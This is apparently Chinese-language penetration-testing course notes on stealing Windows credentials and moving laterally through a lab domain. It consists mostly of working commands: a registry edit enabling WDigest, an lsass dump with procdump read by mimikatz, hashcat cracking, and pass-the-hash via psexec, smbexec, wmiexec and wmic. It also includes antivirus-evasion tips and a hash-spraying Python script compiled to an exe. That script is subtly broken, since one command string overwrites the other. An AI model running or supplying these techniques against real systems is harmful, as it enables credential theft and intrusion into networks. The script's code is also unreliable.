思維導圖

知識點1: Windows2012以上版本默認關閉wdigest,攻擊者無法從內存中獲取明文密碼 Windows2012以下版本如安裝KB2871997補丁,同樣也會導致無法獲取明文密碼 針對以上情況,我們提供了4種方式解決此類問題 1.利用哈希hash傳遞(pth,ptk等)進行移動 2.利用其它服務協議(SMB,WMI等)進行哈希移動 3.利用注冊表操作開啟Wdigest Auth值進行獲取 4.利用工具或第三方平台(Hachcat)進行破解獲取 #注冊表操作開啟Wdigest Auth值 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 知識點2: Windows系統LM Hash及NTLM Hash加密算法,個人系統在Windows vista后,服務器系統在Windows 2003以后,認證方式均為NTLM Hash。 #獲取win密碼hash的兩個工具 Pwdump7 QuarksPwdump 知識點3: 域用戶與本地用戶的區別 比如,god/administrator是域用戶,./administrator是本地用戶
本課重點
- 案例1:Procdump+Mimikatz配合獲取
- 案例2:Hashcat破解獲取Windows NTML Hash
- 案例3:域橫向移動SMB服務利用-psexec,smbexec
- 案例4:域橫向移動WMI服務利用-cscript,wmiexec,wmic
- 案例5:域橫向移動以上服務hash批量利用-python編譯exe
案例1:Procdump+Mimikatz配合獲取
Mimikatz屬於第三方軟件,直接上傳到目標主機可能被殺毒軟件查殺,這時我們可以配合官方軟件Procdump,將Procdump上傳目標主機獲取用戶信息(該文件不可讀),使用本地的Mimikatz打開Procdump獲取的用戶信息。
- Procdump下載:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- mimikatz下載:https://github.com/gentilkiwi/mimikatz/releases
# procdump 在目標機上執行 procdump -accepteula -ma lsass.exe lsass.dmp # mimikatz 在本地執行: sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
案例演示-procdump配合mimikatz
<1>首先執行以下命令,在當前目錄下生成lsass.dmp文件
procdump -accepteula -ma lsass.exe lsass.dmp


<2>然后mimikatz上執行以下命令,找到密碼。
sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full


案例2:Hashcat破解獲取Windows NTML Hash
Hashcat下載:https://github.com/hashcat/hashcat
密碼破解全能工具-Hashcat密碼破解攻略:https://www.freebuf.com/sectool/164507.html
hashcat -a 0 -m 1000 hash file --force //爆破命令
案例3:域橫向移動SMB服務利用-psexec,smbexec
利用SMB服務可以通過明文或hash傳遞來遠程執行,條件445服務端口開放。
psexec工具:
- 在微軟官方Pstools工具包中,但是官方Pstools中的psexec只能明文連接,無法采用hash連接。
- 如果需要hash連接,可以使用impacket工具包中的psexec,但是impacket非官方自帶,容易被殺。
- Pstools官方工具包:
- https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
- impacket工具包:
- https://gitee.com/RichChigga/impacket-examples-windows
- https://github.com/SecureAuthCorp/impacket
#psexec第一種:先有ipc鏈接,psexec需要明文或hash傳遞 net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator psexec \\192.168.3.32 -s cmd # 需要先有ipc鏈接 -s以System權限運行 #psexec第二種:不用建立IPC直接提供明文賬戶密碼(推薦) psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 #smbexec工具: #非官方自帶-參考impacket工具包使用,操作簡單,容易被殺 #smbexec無需先ipc鏈接 明文或hash傳遞 smbexec god/administrator:Admin12345@192.168.3.21 smbexec ./administrator:admin!@#45@192.168.3.32 smbexec -hashes :$HASH$ ./admin@192.168.3.21 smbbexec -hashes :$HASH$ domain/admin@192.168.3.21 smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
案例演示
<1>psexec第一種:先有ipc鏈接,psexec需要明文或hash傳遞
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator psexec \\192.168.3.32 -s cmd # 需要先有ipc鏈接 -s以System權限運行

<2>psexec第二種:不用建立IPC直接提供明文賬戶密碼
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
明文密碼,成功。

hash密碼,報錯。原因是微軟官方Pstools工具包中的psexec無法采用hash連接,只能明文連接


如果需要hash連接的話,可以下載第三方的impacket工具包。但是impacket工具包也有缺點,那就是很有可能會被查殺。

<3>smbexec無需先ipc鏈接 明文或hash傳遞
第1種:smbexec god/administrator:Admin12345@192.168.3.21

第2種:smbexec ./administrator:admin!@#45@192.168.3.32

第3種:smbexec -hashes :$HASH$ ./admin@192.168.3.21

案例4:域橫向移動WMI服務利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通過135端口進行利用,支持用戶名明文或者hash的方式進行認證,並且該方法不會在目標日志系統留下痕跡。
#自帶WMIC 明文傳遞 優點是自帶工具,不用考慮免殺,缺點是無回顯 wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" #自帶cscript明文傳遞 有回顯 cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 #套件impacket wmiexec 明文或hash傳遞 有回顯exe版本 易被殺 wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami" wmiexec god/administrator:Admin12345@192.168.3.21 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
wmiexec.vbs腳本下載:
- https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
案例演示
<1>自帶WMIC 明文傳遞 優點是自帶工具,不用考慮免殺,缺點是無回顯
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"


<2>自帶cscript 明文傳遞 有回顯
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

<3>套件impacket wmiexec 明文或hash傳遞 有回顯exe版本 易被殺
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami" wmiexec god/administrator:Admin12345@192.168.3.21 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

案例5:域橫向移動以上服務hash批量利用-python編譯exe
<1>mimikatz收集到密碼hash(假設沒收集到明文)

<2>探測同網段存活主機

<3>收集域用戶名信息

<4>至此,我們已經收集到了IP,用戶名,和密碼hash。我們可以寫一個python腳本批量利用。
腳本
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
#'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#域用戶和本地用戶都試試
#wmiexec -hashes :hash god/user@ip whoami
#wmiexec -hashes :hash ./user@ip whoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
exec = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
編譯成exe文件
pyinstaller.exe -F fuck_neiwang_001.py
執行exe文件,拿下192.168.3.29主機

在192.168.3.29主機運行minikatz,獲取到一個新的密碼hash(假設只找到了hash)

將新的hash加入到python腳本中,重新編譯打包,執行exe文件,就有可能滲透到別的主機,甚至域控。
